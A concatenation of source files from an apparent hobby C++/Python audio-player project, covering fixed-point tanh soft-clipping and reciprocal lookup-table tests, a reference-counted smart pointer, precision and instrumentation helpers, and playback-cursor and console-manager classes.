debug_data['x_s'] = x_s
gain_int = gain_fp*16
debug_data["gain_int"] = gain_int
#calculate the square and apply round and clip point
x_sq = x_s *x_s
debug_data["x_sq"] = x_sq
#clamp x_sq to remove asymmetry
x_sq_cl = np.clip(x_sq, 0, pow(2.0,32)-1)
debug_data["x_sq_cl"] = x_sq_cl
#apply squared gain
xg = x_sq * (gain_int**2)
debug_data["xg"] = xg
#apply round and clip point
xg_rc = np.floor(xg *pow(2.0, -15 -8))
debug_data["xg_rc"] = xg_rc
# calculate (27 + xg)
numerator = 27*pow(2.0,15) + xg_rc
debug_data["numerator"] = numerator
#calculate denominator (n in the doc)
denominator = numerator + xg_rc * pow(2.0 , 3)
debug_data["denominator"] = denominator
# calculate the inverse m
lut_inverse = ttp_lut_inverse(denominator)
debug_data["lut_inverse"] = lut_inverse
#multiply the inverse and the numerator
ratio = lut_inverse*numerator
debug_data["ratio"] = ratio
# renormalise for lut precision rc point
ratio_norm = np.floor(ratio * pow(2.0, - lut_precision));
debug_data["ratio_norm"] = ratio_norm
#multiply by x
y = x_s * ratio_norm
debug_data["y"] = y
y_rc = np.floor(y * pow(2.0, - 16))
debug_data["y_rc"] = y_rc
#apply output rc
y_out= y_rc
return y_out, debug_data
#------------------------------------------------------------------------------
def test_inverse():
plt.close('all')
#generate a unsigned range
x_in = np.arange( 1, pow(2.0, 16) -1, 16 )
# fixed point. x = 256 => x_norm = 1.0 , x =1 => x_norm = 1.0/256.0
x_norm = x_in*pow(2.0,-lut_full)
# fixed point
y = ttp_lut_inverse(x_in) * pow(2.0, -lut_precision)# + 16) uncomment for integ representation
y_approx = y * pow(2.0,lut_full - lut_fract) # so that ttp_lut_inverse(1) = 1/(1/256) = 256 and ttp_lut_inverse(256) = 1, ttp_lut_inverse(512) = 2 etc
y_ideal = 1/x_norm
plt.figure('comparison of reciprocal function and fixed point implementation')
plt.plot( x_norm, y_ideal,'-b', label = 'floating point reciprocal (ideal)')
plt.plot( x_norm, y_approx,':r', label = 'fixed point implementation')
plt.xscale('log')
plt.yscale('log')
plt.legend()
plt.show()
plt.figure('error (log2)')
plt.plot( x_norm, np.log2(np.abs(y_approx - y_ideal)),'-b')
plt.legend()
plt.xscale('log')
plt.figure('diff (float)')
plt.plot( x_norm, np.abs(y_approx - y_ideal),'-b')
plt.xscale('log')
plt.figure('diff (relative)')
plt.plot( x_norm, np.abs(y_approx - y_ideal)/y_ideal,'-b')
plt.xscale('log')
#------------------------------------------------------------------------------
def test_tanh(gain):
#generate a fixed point ramp [-1,1). fractional precision 15 bit
x_in = np.arange( 0, pow(2.0, 16) -1, 64 )
x_in = pow(2.0, 16) -1
#convert to sign
x_in_s = x_in - pow(2.0,15)
# calculate gain in fixed precision
gain_fp = np.floor(gain *pow(2.0, 4)) / pow(2.0, 4)
#apply tanh
[ y, debug_data ] = ttp_tanh(x_in_s, gain_fp)
y_unsign = y + pow(2.0,15)
y_norm = y*pow(2.0,-(15 ))
# reference
x_in_s_norm = x_in_s/pow(2,15)
y_approx = x_in_s_norm*(27 + pow(x_in_s_norm,2.0))/(27 + 9*pow(x_in_s_norm, 2.0))
"""
plt.figure('y')
plt.plot( x_in_s/pow(2.0,15), y_approx, 'b')
plt.plot( x_in_s/pow(2.0,15), y_norm, ':r')
plt.show()
plt.figure('abs diff')
plt.plot( x_in_s/pow(2.0,15), np.abs(y_norm - y_approx))
plt.show()
"""
return y, y_unsign, y_norm, debug_data
#-----------------------------------------------------------------------------
x = np.arange(-1.0, 1.0, 0.0001)
y_ideal = np.tanh(x)
y_approx = x*(27 + pow(x,2.0))/(27 + 9*pow(x, 2.0))
gain = 1.0
[y, y_unsigned, y_norm, debug_data] = test_tanh(gain)
def plot_fun(ddata):
x_norm = ddata[:,2]
y_norm = ddata[:,3]
x_gain = x_norm*gain
y_rational = (x_gain*(27 + pow(x_gain,2.0))/(27 + 9*pow(x_gain, 2.0))*pow(2.0, 16))/pow(2.0, 16)
plt.figure('comparison of rational tanh and fixed point implementation')
plt.clf()
plt.plot(x_norm, y_rational, '-r', label = 'floating point (ideal)')
plt.plot(x_norm, y_norm, '-g', label = 'fixed point implementation')
plt.legend()
plt.figure('comparison of rational tanh and fixed point implementation (LOG)')
plt.clf()
plt.plot(x_norm, y_rational, '-r', label = 'floating point (ideal)')
plt.plot(x_norm, y_norm, '-g', label = 'fixed point implementation')
plt.legend()
error_abs = abs(y_norm - y_rational);
err_log2 = np.log2(error_abs)
plt.figure('absolute error (log2)')
plt.clf()
plt.plot(x_norm, err_log2, '-b', label = 'log2 of abs error')
plt.legend()
gain = 1.0
filename = '../ttplayer_eclipse_workspace/tiktok_player/tt_player_test_tanh_log.csv'
# TODO need to find a nicer way...
from numpy import genfromtxt
init_data = genfromtxt(filename, delimiter=',')
init_data = init_data[1:,:] # remove first row, which is a NaN rendering of text! don't really like this...
plot_fun(init_data)
<file_sep>#Mon Nov 09 15:26:27 GMT 2020
org.eclipse.core.runtime=2
org.eclipse.platform=4.17.0.v20200902-1800
<file_sep>/*
* tt_player_smartpointer.h
*
* Created on: 10 Nov 2020
* Author: alfre
*/
#ifndef TT_PLAYER_SMARTPOINTER_H_
#define TT_PLAYER_SMARTPOINTER_H_
#include "tt_player_globaldefs.h"
#include "tt_player_object.h"
#include <iostream>
using namespace std;
class ReferenceCount
{
private:
int m_RefCount{ 0 };
public:
ReferenceCount(){};
void Increment(){++m_RefCount;};
int Decrement(){return --m_RefCount;};
int GetCount() const {return m_RefCount;};
};
typedef int DEREF_TYPE;
typedef DEREF_TYPE* SP_RAW;
class TTPlayerSmartPointer
{
private:
SP_RAW m_Object{ nullptr };
ReferenceCount* m_ReferenceCount{ nullptr };
public:
TTPlayerSmartPointer(){};
//TTPlayerSmartPointer(T* object);
TTPlayerSmartPointer(SP_RAW object)
: m_Object{ object }
, m_ReferenceCount{ new ReferenceCount() }
{
m_ReferenceCount->Increment();
#ifdef _DEBUG_
cout << "Created TTPlayerSmartPointerr! Ref count is " << m_ReferenceCount->GetCount() << endl;
#endif
};
//Destructor
~TTPlayerSmartPointer()
{
if (m_ReferenceCount)
{
int decrementedCount = m_ReferenceCount->Decrement();
#ifdef _DEBUG_
cout << "Destroyed TTPlayerSmartPointer! Ref count is " << decrementedCount << endl;
#endif
if (decrementedCount <= 0)
{
delete m_ReferenceCount;
delete m_Object;
m_ReferenceCount = nullptr;
m_Object = nullptr;
}
}
};
// Copy Constructor
TTPlayerSmartPointer(const TTPlayerSmartPointer& other)
:m_Object{ other.m_Object }
,m_ReferenceCount{ other.m_ReferenceCount }
{
m_ReferenceCount->Increment();
#ifdef _DEBUG_
cout << "Copied TTPlayerSmartPointer! Ref count is " << m_ReferenceCount->GetCount() << endl;
#endif
}
// Overloaded Assignment Operator
TTPlayerSmartPointer& operator=(const TTPlayerSmartPointer& other)
{
if (this != &other)
{
if (m_ReferenceCount && m_ReferenceCount->Decrement() == 0)
{
delete m_ReferenceCount;
delete m_Object;
}
m_Object = other.m_Object;
m_ReferenceCount = other.m_ReferenceCount;
m_ReferenceCount->Increment();
}
#ifdef _DEBUG_
cout << "Assigning TTPlayerSmartPointer! Ref count is " << m_ReferenceCount->GetCount() << endl;
#endif
return *this;
}
//Dereference operator
DEREF_TYPE& operator*()
{
return *m_Object;
}
//Member Access operator
SP_RAW operator->()
{
return m_Object;
}
};
#endif /* TT_PLAYER_SMARTPOINTER_H_ */
<file_sep># -*- coding: utf-8 -*-
"""
Created on Fri Nov 6 23:59:25 2020
@author: alfre
"""
def return_function_value(x):
return x
input_bitdepth = 20
input_signed = True
input_int = 1
input_precision = [input_signed,input_int,input_bitdepth-input_int -int(input_signed)]
#the lookup table will provide a non uniform subdivision of the input range
#based on the curve. this is stored as comparators
lut_address_bitdepth = 10
lut_size = 1 << lut_address_bitdepth
<file_sep>/*
* tt_player_processor.h
*
* Created on: 6 Nov 2020
* Author: <NAME> for TikTok
*
* This class deals realises a memoryless transfer function.
*
* In this specific implementation we use a integer (fixed point) look-up table LUT to yield the desired function.
*
* the lookup table is non uniform in x to optimise bandwidth allocation i.e. the table is more densely populated where the
* curve departs more from a straight line
*
* the output values are linearly interpolated in between LUT points
*
* The design has in mind a hardware-like implementation. The input signal is considered raw i.e. signed integer precision
* e.g. signed 16 bit
*
* in order to minimise the use of dividers, the distance between two consecutive x-points in the lookup table is a power of 2
* this allows in integer precision to use the binary shift as a divider (and multiplier) where relevant in the calculations
*
*
*/
#ifndef TT_PLAYER_PROCESSOR_H_
#define TT_PLAYER_PROCESSOR_H_
#include <iostream>
#include <cstring>
#include <math.h>
#include "tt_player_effect.h"
#include "tt_player_precision.h"
enum CurveType
{
IDENTITY,
LUT,
TANH
};
class TangentHSoftClipper : public TTPlayerStatelessTransferFunction
{
public:
TangentHSoftClipper(){}; ///< constructor
static TTP_RAW getCurveValue(TTP_RAW x, float gain = 1.0); ///< return the output value for a given input - fixed point
float getCurveValue(float x); ///< return the output value for a given input - floating point
};
// the class storing the LUT and providing the output value for a given input x
class LookupTable : public TTPlayerStatelessTransferFunction
{
public:
LookupTable(); ///< constructor with default bit depth and lookup table (identity)
LookupTable(const char* table_name); ///< constructor which loads the table from a file
virtual ~LookupTable(); ///< destructor
void loadTableFromFile(const char* table_name) noexcept; ///< load a new table. throws TTPlayerException if file not found
TTP_RAW getCurveValue(TTP_U16 x); ///< return the output value for a given address ((NOTE: the LUT takes an unsigned address, signed pipelines need to be aligned correctly
float getCurveValue(float x); ///< return the output value for a given input
private:
int npoints; ///< number of points (addresses) in the LUT
int address_bitdepth; ///< bit depth of the input values (x)
int value_bitdepth; ///< bit depth of the output values (y)
int* pAddress; ///< the start points (left margin) of each segment in lookup table, defined as incremental exponents
int* pValue; ///< the output corresponding to each start point (left margin) of each segment in lookup table
};
class TTPlayerProcessor : public TTPlayerEffect
{
public:
TTPlayerProcessor();
virtual ~TTPlayerProcessor();
// overrides from base class TTPlayerComponent
virtual void update(pTTPlayerComponent caller){update(caller);};
virtual void receive(pTTPlayerMessage message){receive(message);}; //
virtual void send(pTTPlayerMessage message){send(message);}; //;
// processor methods
float output(float input)
{
return transferFunction->getCurveValue(input);
};
TTP_RAW output(TTP_RAW input)
{
return transferFunction->getCurveValue(input);
};
TTPlayerStatelessTransferFunction* transferFunction;
};
#endif /* TT_PLAYER_PROCESSOR_H_ */
<file_sep>/*
* tt_player_processor_test.cpp
*
* Created on: 6 Nov 2020
* Author: alfre
*/
#include "tt_player_processor.h"
float errorMargin = 1/1000;
int errorMarginRAW = 1;
// GENERATE A RAMP AND TEST THE VALUES - DROP the values in a file with comparison to the expected value, error, and pass/fail
<file_sep>/*
* TTPlayerPrecision.h
*
* Created on: 12 Nov 2020
* Author: alfre
*/
#ifndef TT_PLAYER_PRECISION_H_
#define TT_PLAYER_PRECISION_H_
#include "tt_player_globaldefs.h"
#include <bitset>
#include <memory>
#define MAX_PIPELINE (64)
#define CLAMP(X,MIN,MAX) X < MIN ? MIN : ( X > MAX ? MAX : X )
#define LUT_PRECISION (21)
#define LUT_FULL (10)
#define LUT_OUT_FRACT (16)
typedef int8_t TTP_S8;
typedef int16_t TTP_S16;
typedef int32_t TTP_S32;
typedef int64_t TTP_S64;
typedef uint8_t TTP_U8;
typedef uint16_t TTP_U16;
typedef uint32_t TTP_U32;
typedef uint64_t TTP_U64;
typedef TTP_S16 TTP_RAW;
typedef shared_ptr<TTP_RAW> RAW_HANDLE;
// precision declarations along the pipeline (only few examples here)
#define TANH_GAIN_INTEG (4)
#define TANH_GAIN_FRACT (4)
#define TANH_GAIN_FRACT_MULT ( 1 << TANH_GAIN_FRACT)
#define TANH_GAIN_INTEG_CLIP (( 1 << TANH_GAIN_INTEG) -1)
struct precision
{
bool is_signed; ///< sign
int integ; ///< integer part
int fract; ///< fractional part
float normfactor;
};
class TTPlayerPrecision
{
public:
TTPlayerPrecision();
virtual ~TTPlayerPrecision();
TTPlayerPrecision(const TTPlayerPrecision &other);
static void truncate(float &x, precision p_in, precision p_out){};
static void clip(float &x, precision p_in, precision p_out){};
static void roundclip(float &x, precision p_in, precision p_out){};
static TTP_U64 ttp_lut_inverse( TTP_U32 n ) noexcept;
};
#endif /* TT_PLAYER_PRECISION_H_ */
<file_sep>/*
* tt_player_debug_manager.cpp
*
* Created on: 15 Nov 2020
* Author: alfre
*/
#include "tt_player_console_manager.h"
<file_sep>/*
* tt_player_stream.cpp
*
* Created on: 6 Nov 2020
* Author: alfre
*/
#include "tt_player_stream.h"
TTPlayerStream::TTPlayerStream()
:spWavHandler{ nullptr }
{
// TODO Auto-generated constructor stub
}
TTPlayerStream::~TTPlayerStream() {
// TODO Auto-generated destructor stub
}
<file_sep>/*
* tt_player_instrumentation.h
*
* Created on: 12 Nov 2020
* Author: alfre
*/
#ifndef TT_PLAYER_INSTRUMENTATION_H_
#define TT_PLAYER_INSTRUMENTATION_H_
#include <cmath>
#include <string>
#include <sstream>
#include "tt_player_globaldefs.h"
#include "tt_player_component.h"
#include "tt_player_precision.h"
#include "tt_player_console_manager.h"
// just a bunch of measurements likely to be useful
struct signal_comparison_report
{
float harmonic_distortion;
float error_mean;
float error_std;
float error_max;
signal_comparison_report()
{
harmonic_distortion = 0;
error_mean = 0;
error_std = 0;
error_max = 0;
}
void reset()
{
harmonic_distortion = 0;
error_mean = 0;
error_std = 0;
error_max = 0;
}
};
class TTPlayerInstrumentation final : public TTPlayerComponent {
public:
TTPlayerInstrumentation();
virtual ~TTPlayerInstrumentation();
TTPlayerInstrumentation(const TTPlayerInstrumentation &other);
// A function that tests a rc point for LSB and MSB loss on the input. It can be used to test rc points
//
// TODO
// NOTE: this is temporary! it should be a template method for TTP integer types
// in general can be done better
// NOTE: this diagnostic check if p_out has enough precision to represent x lossless, regardless the nominal input precision
//
static bool testTruncation(long long x, precision p_in, precision p_out, const char* rcpoint_name) noexcept
{
bool retval = false;
// check if the input sign is compatible with the input nominal sign
if (x < 0 && p_in.is_signed)
{
std::string message;
std::ostringstream osstream;
osstream << "WARNING: x should be unsigned. in " << rcpoint_name << "input is : " << x << "\n ";
message.append(osstream.str());
TTPlayerConsoleMessage mess(message,CONSOLE_MESSAGE::DEBUG_RC_POINTS);
TTPlayerConsoleManager::getInstance().processConsoleMessage(mess);
printf
(
"WARNING: x should be unsigned. in %s \n "
"\n"
"input is : %I64d \n"
, rcpoint_name
, x
);
retval = false;
return retval;
}
// convert x in floating point
float x_fixed = x *pow(2.0, -p_in.fract);
// check if the output fractional precision drops LSBs
float x_cond = (x_fixed * static_cast<float>(1 << p_out.fract));
if ( x_cond != floor(x_cond) ) // if there is still fractional part
{
float x_lsb_truncated = floor(x_cond * static_cast<float>(1 >> p_out.fract));
std::string message;
std::ostringstream osstream;
osstream << "WARNING: LSB truncation error in " << rcpoint_name << "fixed input is : " << x_fixed << "LSB truncated is : " << x_lsb_truncated << "\n ";
message.append(osstream.str());
TTPlayerConsoleMessage mess(message,CONSOLE_MESSAGE::DEBUG_RC_POINTS);
TTPlayerConsoleManager::getInstance().processConsoleMessage(mess);
retval = false;
return retval;
}
// check if the output integer precision drops MSBs
float max_out = pow(2.0,p_out.integ) - pow(2.0,-p_out.fract);
if ( x_fixed > max_out )
{
std::string message;
std::ostringstream osstream;
osstream << "WARNING: MSB truncation error in " << rcpoint_name << "fixed input is : " << x_fixed << "LSB truncated is : " << max_out << "\n ";
message.append(osstream.str());
TTPlayerConsoleMessage mess(message,CONSOLE_MESSAGE::DEBUG_RC_POINTS);
TTPlayerConsoleManager::getInstance().processConsoleMessage(mess);
retval = false;
return retval;
}
retval = true;
return retval;
};
static bool compareTwoFixedPointSignals(const float* x1, const float* x2, unsigned long length, signal_comparison_report& report) // VERY simple
{
report.reset(); // just in case...
for(unsigned long i = 0; i < length; i++)
{
report.error_mean += (x1[i] - x2[i]);
}
report.error_mean /= length;
// ETC.....
return false;
};
};
#endif /* TT_PLAYER_INSTRUMENTATION_H_ */
<file_sep>/*
* TTPlayerException.cpp
*
* Created on: 6 Nov 2020
* Author: alfre
*/
#include "tt_player_exception.h"
<file_sep>/*
* tt_player_smartpointer_test.cpp
*
* Created on: 10 Nov 2020
* Author: alfre
*/
#include "tt_player_smartpointer.h"
<file_sep>/*
* tt_player_cursor.h
*
* Created on: 9 Nov 2020
* Author: alfre
*/
#ifndef TT_PLAYER_CURSOR_H_
#define TT_PLAYER_CURSOR_H_
//#define _WINTHREADS
#ifdef _WINTHREADS
#include <windows.h>
#endif
#include <memory>
#include "tt_player_component.h"
#include "tt_player_effect.h"
#include "tt_player_precision.h"
enum FX_PS
{
DOWNSTREAM,
UPSTREAM
};
enum CURSOR_STATE
{
CURSOR_IDLE,
CURSOR_PLAY,
CURSOR_STOP,
CURSOR_PAUSE
};
class TTPlayerCursor : public TTPlayerComponent {
public:
TTPlayerCursor();
virtual ~TTPlayerCursor();
TTPlayerCursor(const TTPlayerCursor &other);
virtual void receive(pTTPlayerMessage message); // override
void setWavHandler(RAW_HANDLE wavhandler);
void setStreamParameters(const StreamParameters params);
void play(float speed = 1.0);
void stop();
void pause();
void fastforward(float speed = 3.0)
{
play(speed);
}
void rewind(float speed = 3.0)
{
play(-speed);
}
int getCurrentPosition(); ///< current position is returned in samples
float getCurrentSample(); ///< the floating point value at the current position
TTP_RAW getCurrentSampleRAW(); ///< the RAW integer (fixed point) value at the current position
void setCurrentPosition(int pos){}; ///< set the current position in samples
void setCurrentSample(float val); ///< set the current value (floating point)at the current position
void setCurrentSampleRAW(TTP_RAW raw); ///< set the RAW integer (fixed point) value at the current position
void addEffect(std::shared_ptr<TTPlayerEffect> peff, FX_PS pos = UPSTREAM)///< add a new effect in the specified position
{
effects.push_back(peff);///< add an effect downstream
};
void removeEffect(std::shared_ptr<TTPlayerEffect> peff);
void moveEffectEffectDownstream(std::shared_ptr<TTPlayerEffect> peff);
void moveEffectEffectUpstream(std::shared_ptr<TTPlayerEffect> peff);
float produce(float currsamp)
{
for (auto it = effects.begin(); it != effects.end() ; it++ )
{
currsamp = (*it)->output(currsamp);
}
return currsamp;
};
TTP_RAW produce(TTP_RAW currsamp)
{
for (auto it = effects.begin(); it != effects.end() ; it++ )
{
currsamp = (*it)->output(currsamp);
}
return currsamp;
};
private:
#ifdef _WINTHREADS
DWORD WINAPI playThread(LPVOID lpParameter);
#endif
vector<std::shared_ptr<TTPlayerEffect>> effects;
RAW_HANDLE wavHandler;
StreamParameters streamParameters;
CURSOR_STATE state;
float playSpeed;
};
#endif /* TT_PLAYER_CURSOR_H_ */
<file_sep>/*
* tt_player_progress_slider.cpp
*
* Created on: 16 Nov 2020
* Author: alfre
*/
#include "tt_player_progress_slider.h"
TTPlayerProgressSlider::TTPlayerProgressSlider() {
// TODO Auto-generated constructor stub
}
TTPlayerProgressSlider::~TTPlayerProgressSlider() {
// TODO Auto-generated destructor stub
}
TTPlayerProgressSlider::TTPlayerProgressSlider(
const TTPlayerProgressSlider &other) {
// TODO Auto-generated constructor stub
}
<file_sep>/*
* TTPlayer_stream.h
*
* Created on: 6 Nov 2020
* Author: alfre
*/
#ifndef TT_PLAYER_STREAM_H_
#define TT_PLAYER_STREAM_H_
#include "tt_player_globaldefs.h"
#include "tt_player_component.h"
#include <memory>
class TTPlayerStream final : public TTPlayerComponent
{
public:
TTPlayerStream();
virtual ~TTPlayerStream();
void loadFileStream(const char* filename) noexcept{};///< this function loads the stream and updates the wav_handler and stream parameters
shared_ptr<int> getWavHandler(){return spWavHandler;};
StreamParameters getStreamParameters(){return parameters;};
private:
shared_ptr<int> spWavHandler;
StreamParameters parameters;
};
#endif /* TT_PLAYER_STREAM_H_ */
<file_sep>/*
* tt_player_progress_slider.h
*
* Created on: 16 Nov 2020
* Author: alfre
*/
#ifndef TT_PLAYER_PROGRESS_SLIDER_H_
#define TT_PLAYER_PROGRESS_SLIDER_H_
#include "tt_player_widget.h"
class TTPlayerProgressSlider: public TTPlayerWidget {
public:
TTPlayerProgressSlider();
virtual ~TTPlayerProgressSlider();
TTPlayerProgressSlider(const TTPlayerProgressSlider &other);
// override
virtual void receive(pTTPlayerMessage message)
{
// TODO this does not work because it uses the base class overload instead of the specific one.
// need to find the way...
TTPlayerComponent* pp = message->getCaller();
std::cout
<< "TTplayerProgressSlider received message from: "
<< *pp
<< " at: "
<< pp
<< "\n";
};
};
#endif /* TT_PLAYER_PROGRESS_SLIDER_H_ */
<file_sep>var searchData=
[
['update_8',['update',['../class_t_t_player_component.html#aa489dd89df6c5bc0ddb846866d2139f9',1,'TTPlayerComponent']]]
];
<file_sep>/*
* tt_player_widget.h
*
* Created on: 15 Nov 2020
* Author: alfre
*/
#ifndef TT_PLAYER_WIDGET_H_
#define TT_PLAYER_WIDGET_H_
#include "tt_player_component.h"
struct Rect
{
float x;
float y;
float w;
float h;
Rect()
:x(0),y(0),w(0),h(0){};
Rect(Rect &other)
:x(other.x),y(other.y),w(other.w),h(other.h){};
Rect& operator = (const Rect &other)
{
x = other.x;
y = other.y;
w = other.w;
h = other.h;
return *this;
};
};
class TTPlayerWidget: public TTPlayerComponent {
public:
TTPlayerWidget();
virtual ~TTPlayerWidget();
TTPlayerWidget(const TTPlayerWidget &other);
private:
Rect drawArea;
virtual void draw(){};
};
#endif /* TT_PLAYER_WIDGET_H_ */
<file_sep>/*
* tt_player_debug_manager.h
*
* Created on: 15 Nov 2020
* Author: alfre
*/
#ifndef TT_PLAYER_CONSOLE_MANAGER_H_
#define TT_PLAYER_CONSOLE_MANAGER_H_
#include "tt_player_globaldefs.h"
#include <string>
#include <memory>
enum CONSOLE_MESSAGE
{
EMPTY_MESSAGE,
DEBUG_RC_POINTS,
DEBUG_SIGNALS,
PROGRESS_STATUS
};
class TTPlayerConsoleMessage
{
private:
std::string mess;
CONSOLE_MESSAGE message_type; ///< just a generic thing to differentiate messages and decide what to do
public:
TTPlayerConsoleMessage()
{
mess = string();
message_type = EMPTY_MESSAGE;
}
TTPlayerConsoleMessage(string m, CONSOLE_MESSAGE mt)
{
mess = m;
message_type = mt;
};
void setMessage(string msg)
{
mess = msg;
};
string getMessage()
{
return mess;
};
void setMessageType(CONSOLE_MESSAGE mtype)
{
message_type = mtype;
};
CONSOLE_MESSAGE getMessageType()
{
return message_type;
};
};
/*
* singleton implementation. used this ref: https://stackoverflow.com/questions/1008019/c-singleton-design-pattern
*/
class TTPlayerConsoleManager
{
public:
static TTPlayerConsoleManager& getInstance() // return a TTPlayerDebugManager object by reference
{
static TTPlayerConsoleManager instance; // the object
return instance;
};
//C++ 11
TTPlayerConsoleManager(TTPlayerConsoleManager const&) = delete;
void operator=(TTPlayerConsoleManager const&) = delete;
void processConsoleMessage(TTPlayerConsoleMessage message)
{
CONSOLE_MESSAGE type = message.getMessageType();
switch(type)
{
case PROGRESS_STATUS:
#ifdef _PROGRESS_CONSOLE
std::cout << "" << message.getMessage() << "\n";
#endif
break;
case DEBUG_RC_POINTS:
#ifdef _DEBUG_RC_P
std::cout << "DEBUG RC: " << message.getMessage() << "\n";
#endif
break;
case DEBUG_SIGNALS:
#ifdef _DEBUG_
std::cout << "DEBUG: " << message.getMessage() << "\n";
#endif
break;
default:
std::cout << "unknown console message, string: %s\n" << message.getMessage();
}
};
private:
TTPlayerConsoleManager(){}; ///< private constructor
};
#endif /* TT_PLAYER_CONSOLE_MANAGER_H_ */
<file_sep>/*
* tt_player_instrumentation_test.cpp
*
* Created on: 12 Nov 2020
* Author: alfre
*/
#include "tt_player_instrumentation.h"
<file_sep>/*
* tt_player_progress_slider_test.cpp
*
* Created on: 16 Nov 2020
* Author: alfre
*/
#include "tt_player_progress_slider.h"
<file_sep>/*
* TTPlayerPrecision_test.cpp
*
* Created on: 12 Nov 2020
* Author: alfre
*/
#include "tt_player_precision.h"
#include <math.h>
#include <stdio.h>
/*
bool test_inverse_lut()
{
bool retval = true;
FILE* fid = fopen("tt_player_test_inverse_lut_log.txt", "wb");
//generate a unsigned range (16 bit) with 64 (6 bit) step
for (TTP_U32 x_in = 0; x_in < (1 << 16); x_in += (1 << 4))
{
// normalise the input range so that the interval [1...255] represents the floating point number [1/256, 1-1/256]
float x_norm = static_cast<float>(x_in)/pow(2.0, 8);
// calculate the renormalised lut output
float y = static_cast<float>(TTPlayerPrecision::ttp_lut_inverse(x_in));
// renormalise
float y_ren = y*pow(2.0,-LUT_PRECISION);
// normalise the output so that
//
// ttp_lut_inverse(1) = 1/(1/255) = 255.0,
// ttp_lut_inverse(256) = 1.0
// ttp_lut_inverse(512) = 2.0
// etc
float y_norm = y_ren * pow(2.0, 8);
// calculate the golden reference
float y_ideal = 1/x_norm;
fprintf(fid , "%3.5f , %3.8f , %3.8f \n", x_norm, y_norm, y_ideal);
}
fclose(fid);
retval = true;
return retval;
}
*/
<file_sep>/*
* tt_player_cursor.cpp
*
* Created on: 9 Nov 2020
* Author: alfre
*/
#include "tt_player_cursor.h"
#include "tt_player_console_manager.h"
TTPlayerCursor::TTPlayerCursor()
:wavHandler(0)
,state(CURSOR_IDLE)
,playSpeed(1.0)
{
streamParameters.bitPerSample = 16;
streamParameters.samplingFrequency = 44000;
streamParameters.lengthInSamples = 0;
streamParameters.lengthInSeconds = streamParameters.lengthInSamples/streamParameters.samplingFrequency;
}
TTPlayerCursor::~TTPlayerCursor() {
// TODO Auto-generated destructor stub
}
TTPlayerCursor::TTPlayerCursor(const TTPlayerCursor &other) {
// TODO Auto-generated constructor stub
wavHandler = other.wavHandler;
}
void TTPlayerCursor::setWavHandler(RAW_HANDLE wavhandler)
{
wavHandler = wavhandler;
}
void TTPlayerCursor::setStreamParameters(const StreamParameters params)
{
streamParameters = params;
}
void TTPlayerCursor::receive(pTTPlayerMessage message)
{
TTPlayerConsoleMessage cmess;
cmess.setMessageType( PROGRESS_STATUS );
switch(message->getMessage())
{
case TTPlayerMessage::TTP_MESSAGE_EMPTY:
cmess.setMessage(" CURSOR received empty command!");
break;
case TTPlayerMessage::TTP_MESSAGE_STOP:
cmess.setMessage(" CURSOR received stop command!");
break;
case TTPlayerMessage::TTP_MESSAGE_PAUSE:
cmess.setMessage(" CURSOR received pause command!");
break;
case TTPlayerMessage::TTP_MESSAGE_PLAY:
cmess.setMessage(" CURSOR received play command!");
play();
break;
default:
cmess.setMessage(" CURSOR received unknown command!");
}
TTPlayerConsoleManager::getInstance().processConsoleMessage(cmess);
}
#ifdef _WINTHREADS
DWORD WINAPI TTPlayerCursor::playThread(LPVOID lpParameter)
{
/*
unsigned int& myCounter = *((unsigned int*)lpParameter);
while(myCounter < 0xFFFFFFFF) ++myCounter;
return 0;
*/
for (long n = 0; n < streamParameters.lengthInSamples; n++ )
{
TTP_RAW currentSample = wavHandler.get()[n];
TTP_RAW produced = produce(currentSample);
/// REAL TIME: SEND THE VALUE TO A BUFFER FOR SOUND RENDERING?
///wavHandler[n] = produced;
}
return 0;
}
#endif
void TTPlayerCursor::play(float speed)
{
switch(state)
{
case CURSOR_PLAY:
if (speed == playSpeed)
return;
playSpeed = speed;
break;
case CURSOR_IDLE:
case CURSOR_PAUSE:
case CURSOR_STOP:
playSpeed = speed;
state = CURSOR_PLAY;
#ifdef _WINTHREADS
unsigned int myCounter = 0;
DWORD myThreadID;
HANDLE myHandle = CreateThread(0, 0, playThread, &myCounter, 0, &myThreadID);
if (myHandle == NULL)
std::cout << "ops\n";
#else
state = CURSOR_STOP;
std::cout << "threads not implemented, can't play won't play!\n";
#endif
}
}
<file_sep>/*
* tt_player_effect.h
*
* Created on: 9 Nov 2020
* Author: alfre
*/
#ifndef TT_PLAYER_EFFECT_H_
#define TT_PLAYER_EFFECT_H_
#include "tt_player_component.h"
#include "tt_player_precision.h"
using namespace std;
class TTPlayerStatelessTransferFunction
{
public:
TTPlayerStatelessTransferFunction(){};
virtual ~TTPlayerStatelessTransferFunction(){};
TTPlayerStatelessTransferFunction(const TTPlayerStatelessTransferFunction &other); ///< copy constructor
virtual float getCurveValue(float x){return x;}; ///< return the output value for a given input
virtual TTP_RAW getCurveValue(TTP_RAW x){return x;}; ///< return the output value for a given input
};
class TTPlayerEffect : public TTPlayerComponent
{
public:
TTPlayerEffect();
virtual ~TTPlayerEffect();
TTPlayerEffect(const TTPlayerEffect &other);
virtual float output(float input){return input;};
virtual TTP_RAW outputRAW(TTP_RAW input){return input;}; // default bypass
TTPlayerStatelessTransferFunction* pStatelessTransferFunction;
};
typedef TTPlayerEffect* pTTPlayerEffect;
#endif /* TT_PLAYER_EFFECT_H_ */
<file_sep>var searchData=
[
['update_18',['update',['../class_t_t_player_component.html#aa489dd89df6c5bc0ddb846866d2139f9',1,'TTPlayerComponent']]]
];
<file_sep>/*
* tt_player_object.h
*
* Created on: Nov 2020
* Author: <NAME> for TikTok
*
*
*/
#ifndef TT_PLAYER_OBJECT_H_
#define TT_PLAYER_OBJECT_H_
//#include "tt_player_globaldefs.h"
#include <string>
using namespace std;
class TTPlayerObject ///< TTPlayer base class for objects
{
public:
TTPlayerObject();
virtual ~TTPlayerObject();
TTPlayerObject(const TTPlayerObject &other);
void setID(int i){id = i;};
void setName(string n){name = n;};
int getID() const {return id;};
string getName() const {return name;};
private:
int id;
string name;
};
#endif /* TT_PLAYER_OBJECT_H_ */
<file_sep>/*
* tt_player_instrumentation.cpp
*
* Created on: 12 Nov 2020
* Author: alfre
*/
#include "tt_player_instrumentation.h"
TTPlayerInstrumentation::TTPlayerInstrumentation() {
// TODO Auto-generated constructor stub
}
TTPlayerInstrumentation::~TTPlayerInstrumentation() {
// TODO Auto-generated destructor stub
}
TTPlayerInstrumentation::TTPlayerInstrumentation(
const TTPlayerInstrumentation &other) {
// TODO Auto-generated constructor stub
}
<file_sep>/*
* tt_player_manager.h
*
* Created on: 6 Nov 2020
* Author: alfre
*/
